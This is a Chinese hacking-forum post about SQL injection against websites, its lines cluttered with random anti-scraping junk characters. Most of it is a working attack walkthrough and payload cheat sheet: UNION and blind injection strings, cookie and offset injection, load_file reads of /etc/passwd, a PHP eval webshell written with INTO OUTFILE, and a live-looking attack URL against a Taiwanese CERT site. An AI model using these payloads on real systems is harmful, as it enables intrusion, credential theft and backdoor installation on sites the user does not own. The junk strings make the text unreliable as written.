我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
3 V& q* E$ ]* w, Y6 `) p7 F! f让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
2 R A$ W: \1 b0 z我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
8 V) m" O+ C3 b7 A) H/ }1 u如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)) o$ |% R* q8 D, G& o4 `
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
7 P" U# K: t J2 n6 {' T; b" H- A这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:# G& p( [% x @& x |8 e" I9 \! ?5 r
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in# |2 S, y9 Z% S1 E0 @/ Q
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入# j5 `' B* n$ y/ q7 \* Y
$ t t" O5 Q# X Y1 ]$ p! ]$ x2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
' H5 M a/ f9 v" \ u3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
' m* g Q" L, m4 J9 ]4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
8 M5 X! v2 f$ B9 i( a5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
. X$ G) M2 {6 v3 s7 S/ q2 v有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
( f9 V; y% [! |2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
1 I( ] b) T+ p# \$ P我就用的是第二个思路, @& X+ Q, y+ F3 w) w- r
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- . Q# [ M, c) T/ O8 ?
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,% V% l' l( x+ B8 S1 k( Q
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
6 l9 `/ l6 v/ g4 S/ X3 D注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。' s2 r- R/ N* B1 s% B" r
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
) R2 ~9 M) X W$ v# M. J; L是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
. H3 @8 k l' _1 C提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
) F* {5 V* c& o. V. B' S然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
& I2 _0 E* P: f7 A) ~* d调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
/ M8 p2 q2 k! {' D8 T) c下面是一些很普遍注入方式资料:
8 M4 R- [& x6 w注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='3 R# Y- r3 K( J5 R& n
拆半法
8 C" |* t" u1 J6 N0 E, O" D0 k######################################
$ p7 H. y2 E( g5 ~and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。# m7 J) j, b6 d% K
and exists (select * from admin)
7 I, E' ^4 n5 U) xand exists(select id from admin)7 t& V" O9 j9 H( b4 y6 @2 v* O
and exists(select id from admin where id=1)
% O8 F3 e4 ]$ }. D5 ~# p+ }2 w& kand exists(select id from admin where id>1)
+ N6 o* p3 a& t& a2 ]% r5 u: n然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 2 ?" ]& H# S: A; Z9 ~5 k
and exists (select username from admin)- g( p4 ~5 u) o) s4 @
and exists (select password from admin)
+ E) a# E& {) C4 `" }2 k# Sand exists (select id from admin where len(username)<10 and id=1)
1 a3 I6 j; v) t& Gand exists (select id from admin where len(username)>5 and id=1). d3 G$ w. W2 o# w: V
and exists (select id from admin where len(username)=6 and id=1)" w( d1 S5 E H; x) J8 }1 z
and exists (select id from admin where len(password)<10 and id=1): l, P' _3 f. V
and exists (select id from admin where len(password)>5 and id=1)
. ]+ i7 Y2 U2 A, w n% ?and exists (select id from admin where len(password)=7 and id=1)5 c% w$ b7 r2 C% _# B4 h
and (select top 1 asc(mid(username,1,1)) from admin)=976 b: M/ u+ n* n, a6 H: O1 W6 P
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。% k% p* q" R s; \- s: q4 J% b
猜第二位把username,1,1改成username,2,1就可以了。
9 J ~) \ m2 {: e6 V1 m4 j0 L1 ?猜密码把username改成password就OK了
1 Y# z4 {6 t- L0 }# O3 S##################################################; z0 a" M! z3 w T
搜索型注入
3 O s9 @5 [/ y, T+ d##################################; v( t7 V9 I4 Y) S2 v
%' and 1=1 and '%'='
3 J" U1 m7 t m, d6 Z* ^: P \/ x%' and exists (select * from admin) and '%'='
. V* p$ v. s8 o1 X+ ^" a6 q" N%' and exists(select id from admin where id=1) and '%'='
5 b. d6 i1 X) I% z4 c%' and exists (select id from admin where len(username)<10 and id=1) and '%'='2 w5 v% a- V' y4 W0 z
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
8 @; q% M, F5 Y/ m/ m$ h4 X%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=': T& Z( k/ }1 `7 S8 O
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='& f: L: y4 h' b& x1 _, u& B
对于MSSQL数据库,后面可以吧 and '%'='换成--
7 y) M6 ] n$ ?- f+ Z% P0 s& r# [还有一点搜索型注入也可以使用union语句。: [: n; H& h: x/ S; W5 i
########################################################
+ J7 d5 Y$ w) O' f7 q, K- P联合查询。) g& z3 s k, z* K
#####################################/ ?0 z: Z- F) s0 ~& v& H
order by 105 p4 p: {5 A v; T8 B# B& G
and 1=2 union select 1,2,3,4,5,6,7,8,9,100 g8 j; |, f* M# Q8 ^
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin" T% n: N5 z# c* A% f( l
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=10 K% q a' F4 V5 j9 C. h
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)) i: p% Y- i1 j# ~
###################################. U( z3 N6 R3 n- |
cookie注入3 r9 n7 G, X1 R$ R
###############################2 |" G, P( s$ d6 k
http://www.******.com/shownews.asp?id=127
$ ~7 j! _* E: U% l- X3 uhttp://www.******.com/shownews.asp
% ^! r4 V& @7 M6 j1 Malert(="id="+escape("127"));
: Y3 K3 H& V* D( f0 ?alert(="id="+escape("127 and 1=1"));% A. c6 l+ b# @/ x1 S# M
alert(="id="+escape("127 order by 10"));
2 S3 c" R: E. X' Ialert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
& a& {; b5 |+ a6 b8 Balert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));. l$ p* L3 U9 K& I% [
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。0 p$ B" K" n8 x. I: l8 M
###################################2 x( U9 \ X, Q G. y
偏移注入
& N# |( \7 x8 v###########################################################) G7 p! y% b- ~
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin7 r/ R, ?2 A- ~; u
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin; a0 L8 }, v- e% v" h- N
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
; g* ?8 I8 q+ gunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)3 `# T9 n; W# w' {+ P0 T* W
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% {! i/ B0 k7 {9 Punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)9 Q' \) [7 h. _( Z0 D* H
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
8 O& y; D9 l* r J9 h6 ta.id=d.id)
6 n; V+ W2 r; }6 F' `and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
4 y- k' Y' M! rand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 4 X" Q F5 C O* G" F# i
( ~5 ~' r7 s' \& u3 t============================================================================================================
! E9 o& H/ j$ U8 D/ |: ?: O1.判断版本5 n* q; K# c" x/ i z8 V% W
and ord(mid(version(),1,1))>515 g3 O6 }8 t$ L) c3 k# ?' f; l
返回正常,说明大于4.0版本,支持ounion查询& ^! X; X( q( x0 p3 L
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
P# v2 J; Y$ Q. \! _1 R8 oand 2=4 union select 1,2,3,4,5,6,7,8,9-- F; L! |* Q+ |: q
3.查看数据库版本及当前用户,' M R3 `- @0 }& Q; e8 `/ Z0 ^
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--* j# i! a. J' J7 _2 y
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,# d! |" G1 s: P/ P. g* I# ?
4.判断有没有写权限
" K) f4 p6 m5 u1 hand (select count(*) from MySQL.user)>0-- 3 [1 [& @+ m: J* b" G1 T
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,11 R7 i' y& p6 l2 U
用不了这个命令,就学习土耳其黑客手法,如下1 q( r M; O3 y, o
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--$ x. M+ ]% l, d
6.爆表,爆库
+ Q9 Q2 k7 p* N5 @$ x. Aand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--, E: u& F, ?# T& J
7.爆列名,爆表0 Z/ K( g) K0 Z0 U8 F+ |* \
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
- ~3 j B7 H) n: O, \/ j8.查询字段数,直接用limit N,1去查询,直接N到报错为止。. `- m: N% I' O" I0 }: x/ }, k
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--! l2 j" X- S" i* {2 u
9.爆字段内容
0 }+ \0 k, M1 m" X& X# band+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
4 n U8 k5 h4 Bhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |